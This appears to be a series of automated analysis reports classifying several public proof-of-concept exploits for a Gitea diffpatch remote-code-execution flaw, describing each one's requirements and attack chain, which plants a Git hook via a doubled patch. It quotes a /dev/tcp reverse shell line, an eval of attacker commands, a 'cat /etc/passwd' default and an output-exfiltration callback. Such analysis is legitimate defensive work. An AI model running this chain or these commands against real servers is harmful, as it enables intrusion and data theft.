CVE-2026-60004

Classification basis

The script actively exploits the vulnerability by sending a malicious payload to the target server to achieve remote code execution, as opposed to merely detecting or reporting the vulnerability.

Requirements

• Target Gitea instance must be vulnerable (versions 1.17 through 1.27.0).README.md:21-22
• Attacker must have write access to a repository on the target Gitea instance (e.g., via open registration).README.md:13README.md:50
• Attacker must provide valid credentials (username and password) for the target Gitea instance.poc.py:8-9
• A listener (e.g., netcat) must be running on a host reachable from the Gitea server to receive the reverse shell.README.md:70-72

Observed behavior

• Constructs a reverse shell command and embeds it in a Git hook script (hooks/post-index-change).poc.py:17-19
• Generates a Git patch that creates the hook file with executable permissions.poc.py:23-31
• Sends the same patch twice via HTTP POST to the Gitea diffpatch API endpoint to trigger the vulnerability.poc.py:41-44
• The second request may time out while the reverse shell is active, which the script treats as a possible success.poc.py:50-53

Observables

Reverse Shell

bash -i >& /dev/tcp/{args.lhost}/{args.lport} 0>&1The PoC script generates a reverse shell command to the attacker-controlled host and port, which is the stated purpose of the exploit.poc.py:17

Base64 Encoding

base64.b64encode(shell.encode()).decode()The reverse shell command is base64-encoded before embedding in the hook, a common technique to avoid shell metacharacter issues, not an attempt at concealment.poc.py:18

Git Hook Installation

hooks/post-index-changeThe patch creates an executable post-index-change hook in the bare repository's working tree, which is the documented RCE mechanism.poc.py:24

Classification basis

The Python script actively exploits the vulnerability by crafting and delivering a malicious payload (Git hook) to the target, triggering its execution, and retrieving the results. It does not merely detect or report the vulnerability; it exercises it to achieve remote code execution.

Requirements

• Authenticated Gitea user with repository write accessCVE-2026-60004.py:10-11
• Target Gitea instance must be vulnerable (versions 1.17 to <1.27.1)CVE-2026-60004.py:18
• Git executable must be available on the attacker's machineCVE-2026-60004.py:251-253

Observed behavior

• Authenticates to the Gitea instance using provided credentialsCVE-2026-60004.py:276-284
• Creates a new private repository on the target Gitea instanceCVE-2026-60004.py:287-297
• Constructs a malicious Git hook (post-index-change) that executes an attacker-supplied shell command and stores the output in a Git objectCVE-2026-60004.py:139-163
• Generates a diff patch that introduces the malicious hook fileCVE-2026-60004.py:165-175
• Submits the malicious patch twice to the /diffpatch API endpoint to trigger the vulnerabilityCVE-2026-60004.py:303-312
• Fetches the command output from the target repository using Git smart HTTP protocolCVE-2026-60004.py:194-214
• Displays the executed command output and exit status to the attackerCVE-2026-60004.py:315-323

Observables

Exploit Mechanism

The script builds a Git hook containing a user-supplied shell command, wraps it in a diff patch, and submits it twice to the /api/v1/repos/{owner}/{repo}/diffpatch endpoint to trigger hook installation and execution.This is the declared exploit behavior for CVE-2026-60004 and matches the vulnerability description.CVE-2026-60004.py:139-163CVE-2026-60004.py:165-175CVE-2026-60004.py:303-311

Output Retrieval

The script fetches command output by cloning the target repository via smart HTTP and reading a blob referenced by a known ref.This is the standard method for retrieving the result of the executed command and is consistent with the exploit's purpose.CVE-2026-60004.py:194-214CVE-2026-60004.py:314-317

Network Communication

The script communicates only with the user-specified Gitea base URL using the Gitea API and smart HTTP protocol.No external or unrelated network endpoints are contacted.CVE-2026-60004.py:87-132CVE-2026-60004.py:196-200

Classification basis

The Python script and Nuclei template both contain code that actively exploits the vulnerability by sending malicious patches to achieve remote code execution and retrieve command output. The README describes the exploit chain and provides usage examples for exploitation. This is not merely a scanner or writeup; it is a functional exploit.

Requirements

• Target Gitea instance must have open registration enabled for full-auto mode, or attacker must have valid credentials for semi-auto/manual modes.cve-2026-60004-poc.py:293-314cve-2026-60004-poc.py:702-704
• Target Gitea version must be between 1.17 and 1.27.0 (inclusive).CVE-2026-60004.yaml:8-10cve-2026-60004-poc.py:17-18

Observed behavior

• Registers a new user on the target Gitea instance via the signup page.cve-2026-60004-poc.py:316-352CVE-2026-60004.yaml:91-108
• Creates a private repository with auto-init on the target instance.cve-2026-60004-poc.py:356-384CVE-2026-60004.yaml:110-126
• Sends a crafted Git diff patch multiple times to the diffpatch API endpoint to trigger an add/add collision, which writes a malicious post-index-change hook into the bare repository's hooks directory.cve-2026-60004-poc.py:410-503CVE-2026-60004.yaml:152-195
• The injected hook executes an attacker-supplied command, captures the output, and stores it in a Git blob in the origin repository, creating a new branch named 'rce-proof'.cve-2026-60004-poc.py:122-145CVE-2026-60004.yaml:162
• Retrieves the command output by fetching the 'proof' file from the 'rce-proof' branch via the raw API endpoint.cve-2026-60004-poc.py:507-544CVE-2026-60004.yaml:197-215

Observables

Exploit Chain

User registration, repository creation, diffpatch hook injection, output retrievalThe PoC implements the documented CVE-2026-60004 exploit chain with no hidden steps.cve-2026-60004-poc.py:263-503

Command Execution

User-supplied --cmd argument is placed directly into the hook scriptThe hook payload is built by replacing CMD_PLACEHOLDER with the user's command; no hardcoded malicious command is present.cve-2026-60004-poc.py:122-145

Network Activity

HTTP requests only to the target Gitea instanceAll HTTP requests target the user-specified --url; no external callbacks, beacons, or data exfiltration to third parties.cve-2026-60004-poc.py:171-257

Classification basis

The Python script (cve_2026_60004.py) implements a full exploit chain: it registers an account, creates a repo, and sends a malicious patch to achieve remote code execution. The README describes it as a 'Proof of Concept' and the code includes a 'GiteaExploit' class with an 'exploit' method that triggers the vulnerability. This is not merely a scanner or writeup; it actively exploits the vulnerability to execute arbitrary commands.

Requirements

• Target Gitea/Forgejo instance with open registration (default) and version < 1.27.1README.md:19cve_2026_60004.py:19
• Git version >= 2.32 on the target server for three-way merge fallbackREADME.md:67cve_2026_60004.py:13

Observed behavior

• Registers a new user account on the target Gitea/Forgejo instancecve_2026_60004.py:478-524
• Creates a new private repository via the APIcve_2026_60004.py:558-579
• Sends a crafted patch containing a post-index-change hook to the diffpatch API endpoint twice to trigger an add/add conflict and execute the hookcve_2026_60004.py:606-692
• Exfiltrates command output via an HTTP callback to an attacker-controlled servercve_2026_60004.py:285-358
• Supports mass scanning of multiple targets with configurable threadscve_2026_60004.py:827-940

Observables

Exploit Mechanism

Double-patch submission to /api/v1/repos/{owner}/{repo}/diffpatch to trigger add/add conflict and write hooks/post-index-changeThis is the core of the disclosed CVE-2026-60004 vulnerability and is the expected exploit behavior.cve_2026_60004.py:606-692

Payload Generation

build_hook_and_patch() creates a post-index-change hook that executes a user-supplied command and optionally exfiltrates output via HTTP callbackThe hook's actions (command execution, file write, callback) are all controlled by the operator's --command and --callback arguments. No hidden commands or hardcoded exfiltration endpoints exist.cve_2026_60004.py:285-358

Callback Listener

Built-in HTTP server (CallbackListener) receives base64-encoded command output from the targetThis is a standard feature for capturing output from blind RCE exploits. It only listens and decodes data; it does not execute received data or establish persistence on the operator's machine.cve_2026_60004.py:121-212

Classification basis

The artifact is a fully functional Python script that actively exploits a vulnerability to execute arbitrary shell commands on a remote Gitea server. It performs all steps of the attack chain: authentication, repository creation, payload delivery, and output retrieval. This is consistent with the definition of an exploit.

Requirements

• Write access to a repository on the target Gitea instance, or the instance must have open registration enabled.README.md:22-23
• Target server must have Git version 2.32 or higher to enable the -3 three-way merge fallback.README.md:23
• The diffpatch API endpoint must be available.README.md:24

Observed behavior

• Authenticates to the Gitea instance using provided credentials.gitea_diffpatch_rce_poc.py:253-260
• Creates a new private repository on the target instance.gitea_diffpatch_rce_poc.py:266-274
• Constructs a malicious patch containing a post-index-change Git hook that executes the attacker-supplied shell command and stores the output in a Git object.gitea_diffpatch_rce_poc.py:120-144
• Sends the malicious patch to the diffpatch endpoint twice to trigger an add/add conflict and force the checkout of the hook file.gitea_diffpatch_rce_poc.py:287-299
• Fetches the command output from the repository using Git's smart HTTP protocol.gitea_diffpatch_rce_poc.py:175-195

Observables

Exploit Behavior

Sends crafted diffpatch payload to trigger post-index-change Git hook on target Gitea serverMatches the described CVE-2026-60004 attack chain; the hook executes the user-supplied command and stores output in the origin repository for retrieval.gitea_diffpatch_rce_poc.py:120-144gitea_diffpatch_rce_poc.py:276-299

Output Retrieval

Fetches command output from the target repository via authenticated Smart HTTPThe PoC retrieves the result of the executed command through the same Gitea instance, consistent with the README claim of in-band output retrieval.gitea_diffpatch_rce_poc.py:175-195gitea_diffpatch_rce_poc.py:301-303

Classification basis

The artifact contains a complete, automated Python script (poc.py) that exercises the CVE-2026-60004 vulnerability to achieve remote code execution and provides an interactive shell. The README explicitly describes it as a 'proof-of-concept exploit' and the code performs the full exploitation chain.

Requirements

• Target Gitea instance must have open registration enabled.README.md:21
• Target must be running Gitea version 1.17 through 1.27.0.README.md:4

Observed behavior

• Registers a new user account on the target Gitea instance.poc.py:116-133
• Creates a private repository with auto-initialization.poc.py:135-144
• Sends a malicious patch to the /diffpatch API endpoint to plant a post-index-change Git hook via an add/add collision.poc.py:163-201
• Executes arbitrary commands on the server by writing them to a tracked file (cmd.sh) that the hook reads and executes.poc.py:163-201
• Retrieves command output via the Gitea Raw API endpoint and provides an interactive shell.poc.py:203-231

Observables

Exploit Chain

User registration, repository creation, diffpatch collision to plant post-index-change hook, command execution via hook, output retrieval via raw APIThe entire script implements the described CVE-2026-60004 exploit chain. No extraneous or concealed actions are present.poc.py:233-238poc.py:163-201

Hook Payload

Shell script that reads cmd.sh from the Git index, executes it, and writes output to a blob in the origin repositoryThe hook payload is the core of the exploit. It executes attacker commands and returns output, matching the described RCE mechanism.poc.py:23-45

Command Execution

eval "$cmd"The hook executes the content of cmd.sh, which is set by the attacker via the diffpatch API. This is the intended RCE primitive.poc.py:36

Output Retrieval

GET /api/v1/repos/{user}/{repo}/raw/proof?ref=rce-proofThe script retrieves command output through the Gitea raw API, consistent with the documented API-driven shell approach.poc.py:197-198

Classification basis

The primary artifact is a Go program that actively delivers a malicious payload to a remote Gitea instance to achieve remote code execution. The code constructs a diff patch containing a shell script, sends it to the diffpatch API endpoint, and retrieves the output of the executed command. This constitutes an exploit, not merely a scanner or writeup, as it performs the full exploitation chain including payload delivery and output retrieval.

Requirements

• Target Gitea instance with open registration (for full-auto mode) or valid credentials (for semi-auto/manual modes).cve-2026-60004-poc.go:1040-1052cve-2026-60004-poc.go:1061-1072
• Target must have the diffpatch API endpoint accessible and be running a vulnerable Gitea version (1.17–1.27.0).cve-2026-60004-poc.go:35-36cve-2026-60004-poc.go:1007-1008

Observed behavior

• Registers a new user on the target Gitea instance when open registration is enabled.cve-2026-60004-poc.go:464-547
• Creates a new repository under the authenticated user.cve-2026-60004-poc.go:549-618
• Constructs a malicious diff patch containing a shell script hook that executes an arbitrary command and stores the output in a Git object.cve-2026-60004-poc.go:65-102
• Sends the malicious diff patch to the /api/v1/repos/:owner/:repo/diffpatch endpoint to inject the hook.cve-2026-60004-poc.go:669-705
• Retrieves the command output by fetching the raw 'proof' file from the rce-proof ref.cve-2026-60004-poc.go:761-801
• Includes a non-intrusive check mode that detects Gitea, checks version, and probes the diffpatch endpoint without exploitation.cve-2026-60004-poc.go:986-1034

Observables

Insecure Tls Configuration

InsecureSkipVerify: trueThe HTTP client disables TLS certificate verification, which is a security weakness but is explicitly documented in the README as intentional for testing compatibility. It does not constitute a backdoor.cve-2026-60004-poc.go:128-130README.md:102

Default Command

cat /etc/passwdThe default command executed on the target reads /etc/passwd, a common proof-of-concept action for RCE exploits. It is user-configurable and not hidden.cve-2026-60004-poc.go:878